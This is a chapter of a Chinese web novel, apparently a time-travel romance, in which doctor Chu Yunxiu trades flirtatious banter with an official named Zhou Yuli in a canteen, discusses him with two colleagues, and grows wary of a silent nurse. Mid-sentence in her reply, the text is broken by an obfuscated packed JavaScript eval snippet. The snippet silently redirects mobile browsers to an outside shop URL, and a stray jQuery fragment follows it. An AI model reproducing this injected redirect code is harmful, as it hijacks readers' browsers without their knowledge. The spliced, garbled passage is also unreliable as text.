他目光温和地落在褚云袖脸上,语气里带着几分很自然地关切:“怎么样,褚医生吃着还合胃口吗?我们这边的菜口味偏重,你们要是吃不惯,我让食堂师傅给你们单独做点清淡的。”

    还没等褚云袖开口,嘴里塞得满满的成念念就抢先咽下最后一口粉条,忙不迭地摆手,含糊不清地说道:“合胃口!太合胃口了!周领导,这食堂的师傅手艺绝了,比我们沪市军区医院的大师傅都不差!”

    支美芳也在一旁连连点头附和,脸上洋溢着满足的笑容,她虽然是沪市人,但公婆都是川省人,平时做饭本来就味重,来了这里第一时间就接受了这个口味。

    周遇礼看着两人这副心满意足的模样,忍不住轻笑了一声,视线重新落回褚云袖身上,似乎在等待她的评价。

    褚云袖放下筷子,拿出兜里的手帕擦了擦嘴角,认真地说道:“很好吃,非常地道。尤其是这锅包肉,酸甜适中,外酥里嫩,火候掌握得刚刚好。”

    听到她这么专业的评价,周遇礼眼底闪过一丝笑意:“看来褚医生也是个懂吃的。快吃吧,吃完好好休息一下,这段时间一直在火车上,应该大家都很累了。”

    说完,他并没有立刻离开,而是顺势在旁边的空位上坐了下来,见褚云袖吃得斯文,便主动打开了话匣子。语气随意却透着几分熟稔:“看你刚才点评菜品的样子,平时没少自己下厨吧?”

    褚云袖微微一怔,其实原身根本就不会做饭。但是她会,只是现在也没有熟悉原身的人,随即坦然地点了点头:“是啊,平时除了工作,就喜欢自己琢磨点吃的。”

    “难怪。”周遇礼眼底的笑意更深了些,他微微倾身,压低了声音说道,“其实这食堂的师傅虽然手艺不错,但毕竟是大锅饭,火候和调味上难免有些粗糙。你要是真懂吃,下次有机会,我倒想尝尝你亲手做的菜。”

    听到周遇礼的话,褚云袖夹菜的动作微微一顿。这人是主动出击了?不过对于周遇礼,她现在了解得还太少,不想轻易接招。她眼波流转,唇角勾起一抹狡黠的弧度,半开玩笑地说道:“周领导这是拿我当免费的大厨了?那这顿饭可不够抵我的手艺。”

    “一顿哪够?”周遇礼顺着她的话茬接得极其自然,深邃的眼眸里漾开浅浅的笑意。他微微倾身,压低了声音,语气里透着几分恰到好处的温柔与笃定,“要是真好吃,以后我包揽买菜洗碗的活儿,怎么样?”

    褚云袖看着他,面上依旧是从容不迫的浅笑,心里却忍不住轻哂了一声。上一世她又不是没有被男人撩过,周遇礼这种看似漫不经心实则步步为营的套路,她简直再熟悉不过了。看来这个年代的男生也不含蓄啊。

    不过,熟悉归熟悉,她倒也不反感。毕竟眼前这个男人长得赏心悦目,气质沉稳,撩人的分寸感也拿捏得恰到好处。

    她没有立刻答应,也没有拒绝,只是用筷子轻轻点了点桌上的盘子,语气里带着几分俏皮:“周领导这话我可记下了,要是哪天我真下厨了,你可别嫌洗碗累。”

    “一言为定。”周遇礼看着她明媚生动的笑颜,眼神愈发柔和。“现在我们也算熟悉了,你就不用一口一个周领导了,叫我遇礼吧。”

    “遇礼?”褚云袖在舌尖轻轻咀嚼了一下这两个字,尾音微微上扬,带着一丝不易察觉的玩味。她看着周遇礼那双深邃坦荡的眼睛,忽然觉得这人不仅套路玩得溜,脸皮也挺厚,这才刚认识多久,就顺杆爬得这么自然了。

    “行啊,”她大方地应了下来,唇角的笑意愈发明媚,“那以后……遇礼同志,可别忘了你刚才许下的洗碗承诺。”

    周遇礼被她这声带着点娇俏的“遇礼同志”叫得心头微动,眼底的笑意几乎要溢出来。他低低地应了一声:“好。”

    两人相视一笑,气氛在这看似寻常的称呼变换中,悄然升温,多了一丝只有彼此能懂的暧昧与默契。

    “咳……”旁边传来一声极轻的咳嗽声。

    周遇礼是个极会调节气氛的人,见状便自然地接过话头,跟几人有一搭没一搭地聊了起来。话题从东北菜的做法,慢慢延伸到了江省的风土人情,又耐心地给她们介绍着医院周边的街道。他的声音低沉温和,像冬日里的一杯热茶,熨帖得恰到好处。

    放眼望去,整个二食堂到处都是这样喧闹而满足的场景。其他桌的同志们也都在大快朵颐,有人举着搪瓷缸子高声碰杯,有人扯着嗓子讲着笑话。碗筷碰撞的清脆声、大口吃饭的咀嚼声、此起彼伏的赞叹声交织在一起,将这浓浓的烟火气推向了高潮。

    周遇礼陪着坐了一会儿,见大家吃得差不多了,便站起身,朗声说道:“大家多吃点!到了这儿就跟到了家一样,咱们东北菜讲究的就是一个量大实惠,吃饱喝足,不想家!”

    “好!”众人齐声应和,食堂里的气氛顿时更加热烈起来。

    众人吃饱喝足,三三两两地结伴回了宿舍。

    周遇礼陪着三人走到宿舍楼下,告了别才依依不舍地离开。等人一走,成念念就迫不及待地凑了过来,她一双眼睛亮晶晶地盯着褚云袖,语气里满是按捺不住的激动:“哎哟我的褚医生,你刚才和周领导聊得也太自然了吧!还‘遇礼同志’,哎哟喂,那小调调拐得哟,听得我这牙根子都跟着酥了!”

    支美芳也在另一边捂着嘴偷笑,毫不留情地打趣道:“就是啊,人家周领导那眼神,简直快黏在你身上了!我看这顿饭吃得,菜香不香我不知道,反正你俩这够我们回味很久了!”

    面对两个人一唱一和的调侃,褚云袖却显得异常冷静。她慢条斯理地地说道:“你们俩可别瞎起哄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588168|204090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。我对周领导现在还不了解,人家刚才也就是随口开个玩笑,并没有明确表明态度。”她顿了顿,语气里透着几分成熟与理智:“如果要处对象的话,还是要多了解了解才行。不过,他这人确实挺不错的,善于调节气氛,说话也风趣幽默,是个很容易让人放松下来的人,当朋友也不错。”

    支美芳听着褚云袖这番不疾不徐的话,原本打趣的神色渐渐收敛,转而化作了眼底的一抹赞赏。作为过来人,她太清楚年轻姑娘在面对条件优越的追求者时,最容易犯的错误就是被眼前的热情冲昏头脑。周遇礼确实优秀,年纪轻轻就是领导,谈吐风趣又懂得体贴人,换做旁人,恐怕早就羞红了脸、芳心暗许了。可褚云袖偏偏没有,她像是一捧清醒的凉水,没让这暧昧的火苗烧得太旺。

    “云袖妹子,你这话算是说到点子上了。”支美芳伸手挽住褚云袖的胳膊,语气里多了几分老大姐推心置腹的郑重,“过日子不是过家家,光看表面光鲜可不行。咱们几个确实不了解他的底细,知人知面不知心,你这份清醒劲儿,姐是打心眼里佩服。找对象这事儿,急不得,得多看、多听、多琢磨。”

    成念念在一旁吐了吐舌头,也乖乖收起了刚才的起哄,眨巴着大眼睛重新打量起褚云袖,没成想褚医生心里跟明镜似的,这份处变不惊的理智,可比那几句玩笑话更有分量。

    闲聊间,三人也回到了宿舍,没想到那个短发小护士已经回来了。不过看到三人进来,这姑娘只是看了眼,又低下头闷不吭声的看书。

    褚云袖的注意力不动声色地落在了那个短发小护士身上。宿舍里的白炽灯亮得晃眼,那姑娘依旧保持着刚才的姿势,脊背挺得笔直,手里捧着一本看不出书名的旧书,整个人安静得仿佛和周遭的烟火气隔着一层无形的屏障。从刚才进门到现在,她连眼皮都没怎么抬过,更别提主动搭话了。

    褚云袖在心底暗自思忖,这姑娘未免也太安静了些。据她这一路以来的观察,这短发小护士总是独来独往,身边连个能搭话的同事都没有,连吃饭也是一个人找个角落解决。若说是性格内向、不善言辞,倒也说得通。可偏偏有几个细节,让褚云袖觉得事情没那么简单。

    无论是在京市中转,还是后来到了江省分配宿舍,每次面临选床位的时候,这姑娘总是第一个上前,而且每次选的,都是那个既能背靠着墙壁,又能将宿舍大门和整个房间尽收眼底的位置。一个真正内向怯懦、只顾着自己小世界的人,怎么会下意识地选择这种充满防备、极具安全感的角落?这分明是一种长期养成的、随时警惕周围环境的本能。

    褚云袖不动声色地收回目光,走到自己的床铺前坐下,一边慢条斯理地脱着,一边在心里暗自琢磨。她到底是谁?又为什么会来江省?这份深藏不露的警觉,不太像普通人会有的。